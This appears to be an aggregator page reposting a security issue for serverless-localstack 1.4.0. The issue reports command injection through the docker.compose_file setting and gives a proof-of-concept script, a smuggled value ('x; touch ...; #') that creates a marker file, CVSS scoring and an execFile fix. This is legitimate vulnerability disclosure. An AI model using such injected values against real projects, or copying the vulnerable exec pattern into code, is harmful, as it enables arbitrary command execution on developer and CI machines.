Command injection via unsanitized `custom.localstack.docker.compose_file`
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 3/5
- Thời gian dự kiến
- 1-2 ngày
- Mức phù hợp với người mới
- 58/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Đặc tả rõ ràng
- Mức độ hoạt động
- Ít trao đổi
- Công nghệ
- docker-compose, javascript
Hướng nghiên cứu
Bắt đầu với src/index.js và đường dẫn startLocalStack, sau đó chạy bản tái hiện node poc.js được cung cấp để xác nhận hành vi chèn lệnh. Xem lại lệnh khởi động docker-compose và đường dẫn docker network connect đã nêu; được coi là hoàn thành khi các giá trị cấu hình được truyền mà không qua diễn giải của shell và quá trình khởi động LocalStack vẫn hoạt động.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Description
serverless-localstack passes the custom.localstack.docker.compose_file configuration value directly into a shell command when autostart is enabled and the plugin starts LocalStack through Docker Compose.
The README documents docker.compose_file as an optional Docker Compose file path:
custom:
localstack:
autostart: true
docker:
compose_file: /home/localstack_compose.yml
However, in src/index.js, the value is interpolated into a command string:
exec(`docker-compose -f ${this.config.docker.compose_file} up -d`)
Because the value is not escaped or passed as an argument array, shell metacharacters in the compose file path can execute additional commands.
Affected Version
Tested with:
serverless-localstack@1.4.0- Node.js
24.10.0 - macOS / POSIX shell
Severity
Suggested CVSS v3.1: 6.5 Medium
Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
Rationale:
AV:L: exploitation requires control over local project/serverless configuration or the release/build environment.AC:L: once the configuration value is controlled, exploitation is straightforward.PR:H: in the common threat model, the attacker must be able to modify trusted project configuration or influence CI configuration.UI:R: a developer or CI process must run Serverless with this plugin enabled.C/I/A:H: successful exploitation results in arbitrary command execution as the Serverless/CI process. In CI/CD environments this may expose credentials, deployment tokens, or other secrets.
The attack surface is relatively narrow, but the impact after exploitation can be high.
Steps to Reproduce
Create a minimal project:
rm -rf /tmp/sls-localstack-public-poc /tmp/sls-localstack-aci
mkdir -p /tmp/sls-localstack-public-poc
cd /tmp/sls-localstack-public-poc
npm init -y
npm i serverless-localstack@1.4.0
Create poc.js:
const cp = require('child_process');
const { existsSync } = require('fs');
const realExec = cp.exec;
cp.exec = function hookedExec(command, options, callback) {
if (typeof options === 'function') {
callback = options;
options = undefined;
}
console.log('[exec]', command);
// Make the plugin believe no LocalStack container is running,
// so it reaches the docker-compose startup path.
if (command === 'docker ps') {
process.nextTick(() => callback && callback(null, '', ''));
return { on() {}, stdout: { on() {} }, stderr: { on() {} } };
}
return realExec.call(this, command, options, callback);
};
const LocalstackPlugin = require('serverless-localstack');
const serverless = {
service: {
custom: {
localstack: {
autostart: true,
stages: ['dev'],
docker: {
compose_file: 'x; touch /tmp/sls-localstack-aci; #'
}
}
},
provider: { stage: 'dev' },
getFunction() {
return {};
}
},
pluginManager: { hooks: {}, plugins: [] },
cli: { log: msg => console.log('[sls]', msg) },
getProvider() {
return {
request() {},
getCredentials() {
return { credentials: { accessKeyId: 'test', secretAccessKey: 'test' } };
},
sdk: { config: { update() {} } }
};
}
};
(async () => {
const plugin = new LocalstackPlugin(serverless, { stage: 'dev' });
await plugin.startLocalStack();
console.log('marker exists:', existsSync('/tmp/sls-localstack-aci'));
})().catch(err => {
console.log('[error]', err && err.message);
console.log('marker exists:', existsSync('/tmp/sls-localstack-aci'));
});
Run:
node poc.js
Actual Result
The unescaped compose_file value is embedded into the shell command:
[exec] docker ps
[sls] Starting LocalStack using the provided docker-compose file. This can take a while.
[exec] docker-compose -f x; touch /tmp/sls-localstack-aci; # up -d
[exec] docker ps
marker exists: true
The marker file is created, demonstrating arbitrary command execution.
Expected Result
custom.localstack.docker.compose_file should be treated only as a Docker Compose file path. Shell metacharacters in the path should not execute commands.
Suggested Fix
Avoid building a shell command string from configuration values. For example, use an argument array:
execFile('docker-compose', ['-f', this.config.docker.compose_file, 'up', '-d'])
or use spawn/execa with shell: false.
The same pattern should also be reviewed in other Docker-related command construction paths, for example docker network connect "${this.config.networks[network]}" ${containerID}.
Impact
If an attacker can influence serverless.yml or CI configuration for a project that runs Serverless with serverless-localstack and autostart enabled, they can execute arbitrary commands as the developer or CI user.
- Ngôn ngữ chính
- JavaScript
- Star
- 542
- Fork
- 92
- Chỉ số merge pull request
- Không có pull request nào được merge trong 30 ngày
Hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của localstack/serverless-localstack
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 25/100
-
Support for Python 3.13 Lambdas Đang mở
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 45/100
-
Serverless deploy to LocalStack fails: “Invalid character in header content [authorization]” Đang mở
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 42/100
-
Static API Gateway V1 Endpoints Đang mởaws:apigateway status: backlog
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 35/100
localstack/serverless-localstack#270 · 3 reaction ·
-
serverless-webpack status: backlog status: response required
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 35/100
localstack/serverless-localstack#266 · 1 bình luận ·
Tất cả issue của localstack/serverless-localstack
Issue tương tự
-
bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 76/100
avniproject/avni-client#2135 ·
-
automated broken-link
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 85/100
-
agent/security hive/hosted-available-lke648397-260827-5n31 security
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 84/100
-
enhancement
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 70/100
babalae/bettergi-scripts-list#3674 ·
-
A-Release-Notes C-Editing D-Modest S-Ready-For-Implementation
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
bevyengine/bevy-website#2595 ·